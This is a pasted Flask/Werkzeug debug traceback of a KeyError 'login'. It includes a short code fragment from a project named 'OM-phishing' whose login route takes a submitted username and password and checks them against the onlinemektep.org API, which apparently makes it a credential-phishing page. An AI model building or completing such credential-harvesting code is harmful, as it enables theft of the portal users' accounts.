Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- werkzeug.exceptions.BadRequestKeyError
- werkzeug.exceptions.BadRequestKeyError: 400 Bad Request: The browser (or proxy) sent a request that this server could not understand. KeyError: 'login'
- Traceback (most recent call last)
- File "C:\Program Files\Python38-32\Lib\site-packages\flask\app.py", line 2464, in __call__
- def __call__(self, environ, start_response):
- """The WSGI server calls the Flask application object as the
- WSGI application. This calls :meth:`wsgi_app` which can be
- wrapped to applying middleware."""
- return self.wsgi_app(environ, start_response)
- def __repr__(self):
- return "<%s %r>" % (self.__class__.__name__, self.name)
- File "C:\Program Files\Python38-32\Lib\site-packages\flask\app.py", line 2450, in wsgi_app
- try:
- ctx.push()
- response = self.full_dispatch_request()
- except Exception as e:
- error = e
- response = self.handle_exception(e)
- except: # noqa: B001
- error = sys.exc_info()[1]
- raise
- return response(environ, start_response)
- finally:
- File "C:\Program Files\Python38-32\Lib\site-packages\flask\app.py", line 1867, in handle_exception
- # if we want to repropagate the exception, we can attempt to
- # raise it with the whole traceback in case we can do that
- # (the function was actually called from the except part)
- # otherwise, we just raise the error again
- if exc_value is e:
- reraise(exc_type, exc_value, tb)
- else:
- raise e
- self.log_exception((exc_type, exc_value, tb))
- server_error = InternalServerError()
- File "C:\Program Files\Python38-32\Lib\site-packages\flask\_compat.py", line 39, in reraise
- import collections.abc as collections_abc
- def reraise(tp, value, tb=None):
- if value.__traceback__ is not tb:
- raise value.with_traceback(tb)
- raise value
- implements_to_string = _identity
- else:
- iterkeys = lambda d: d.iterkeys()
- File "C:\Program Files\Python38-32\Lib\site-packages\flask\app.py", line 2447, in wsgi_app
- ctx = self.request_context(environ)
- error = None
- try:
- try:
- ctx.push()
- response = self.full_dispatch_request()
- except Exception as e:
- error = e
- response = self.handle_exception(e)
- except: # noqa: B001
- error = sys.exc_info()[1]
- File "C:\Program Files\Python38-32\Lib\site-packages\flask\app.py", line 1952, in full_dispatch_request
- request_started.send(self)
- rv = self.preprocess_request()
- if rv is None:
- rv = self.dispatch_request()
- except Exception as e:
- rv = self.handle_user_exception(e)
- return self.finalize_request(rv)
- def finalize_request(self, rv, from_error_handler=False):
- """Given the return value from a view function this finalizes
- the request by converting it into a response and invoking the
- File "C:\Program Files\Python38-32\Lib\site-packages\flask\app.py", line 1821, in handle_user_exception
- return self.handle_http_exception(e)
- handler = self._find_error_handler(e)
- if handler is None:
- reraise(exc_type, exc_value, tb)
- return handler(e)
- def handle_exception(self, e):
- """Handle an exception that did not have an error handler
- associated with it, or that was raised from an error handler.
- File "C:\Program Files\Python38-32\Lib\site-packages\flask\_compat.py", line 39, in reraise
- import collections.abc as collections_abc
- def reraise(tp, value, tb=None):
- if value.__traceback__ is not tb:
- raise value.with_traceback(tb)
- raise value
- implements_to_string = _identity
- else:
- iterkeys = lambda d: d.iterkeys()
- File "C:\Program Files\Python38-32\Lib\site-packages\flask\app.py", line 1950, in full_dispatch_request
- self.try_trigger_before_first_request_functions()
- try:
- request_started.send(self)
- rv = self.preprocess_request()
- if rv is None:
- rv = self.dispatch_request()
- except Exception as e:
- rv = self.handle_user_exception(e)
- return self.finalize_request(rv)
- def finalize_request(self, rv, from_error_handler=False):
- File "C:\Program Files\Python38-32\Lib\site-packages\flask\app.py", line 1936, in dispatch_request
- getattr(rule, "provide_automatic_options", False)
- and req.method == "OPTIONS"
- ):
- return self.make_default_options_response()
- # otherwise dispatch to the handler for that endpoint
- return self.view_functions[rule.endpoint](**req.view_args)
- def full_dispatch_request(self):
- """Dispatches the request and on top of that performs request
- pre and postprocessing as well as HTTP exception catching and
- error handling.
- File "C:\Users\Администратор\Documents\programming\OM-phishing\app.py", line 35, in api_login
- return render_template("login.html")
- @app.route('/api/login', methods=['POST'])
- def api_login():
- login = request.form['login']
- password = request.form['password']
- url = 'https://onlinemektep.org/api/v2/os/login'
- response = requests.post(url, data={'login': login, 'password': password}).json()
- File "C:\Program Files\Python38-32\Lib\site-packages\werkzeug\datastructures.py", line 442, in __getitem__
- if key in self:
- lst = dict.__getitem__(self, key)
- if len(lst) > 0:
- return lst[0]
- raise exceptions.BadRequestKeyError(key)
- def __setitem__(self, key, value):
- """Like :meth:`add` but removes an existing key first.
- :param key: the key for the value.
- werkzeug.exceptions.BadRequestKeyError: 400 Bad Request: The browser (or proxy) sent a request that this server could not understand. KeyError: 'login'
- This is the Copy/Paste friendly version of the traceback. You can also paste this traceback into a gist:
- Traceback (most recent call last):
- File "C:\Program Files\Python38-32\Lib\site-packages\flask\app.py", line 2464, in __call__
- return self.wsgi_app(environ, start_response)
- File "C:\Program Files\Python38-32\Lib\site-packages\flask\app.py", line 2450, in wsgi_app
- response = self.handle_exception(e)
- File "C:\Program Files\Python38-32\Lib\site-packages\flask\app.py", line 1867, in handle_exception
- reraise(exc_type, exc_value, tb)
- File "C:\Program Files\Python38-32\Lib\site-packages\flask\_compat.py", line 39, in reraise
- raise value
- File "C:\Program Files\Python38-32\Lib\site-packages\flask\app.py", line 2447, in wsgi_app
- response = self.full_dispatch_request()
- File "C:\Program Files\Python38-32\Lib\site-packages\flask\app.py", line 1952, in full_dispatch_request
- rv = self.handle_user_exception(e)
- File "C:\Program Files\Python38-32\Lib\site-packages\flask\app.py", line 1821, in handle_user_exception
- reraise(exc_type, exc_value, tb)
- File "C:\Program Files\Python38-32\Lib\site-packages\flask\_compat.py", line 39, in reraise
- raise value
- File "C:\Program Files\Python38-32\Lib\site-packages\flask\app.py", line 1950, in full_dispatch_request
- rv = self.dispatch_request()
- File "C:\Program Files\Python38-32\Lib\site-packages\flask\app.py", line 1936, in dispatch_request
- return self.view_functions[rule.endpoint](**req.view_args)
- File "C:\Users\Администратор\Documents\programming\OM-phishing\app.py", line 35, in api_login
- login = request.form['login']
- File "C:\Program Files\Python38-32\Lib\site-packages\werkzeug\datastructures.py", line 442, in __getitem__
- raise exceptions.BadRequestKeyError(key)
- werkzeug.exceptions.BadRequestKeyError: 400 Bad Request: The browser (or proxy) sent a request that this server could not understand.
- KeyError: 'login'
- The debugger caught an exception in your WSGI application. You can now look at the traceback which led to the error. If you enable JavaScript you can also use additional features such as code execution (if the evalex feature is enabled), automatic pasting of the exceptions and much more.
- Brought to you by DON'T PANIC, your friendly Werkzeug powered traceback interpreter.
Advertisement
Add Comment
Please, Sign In to add comment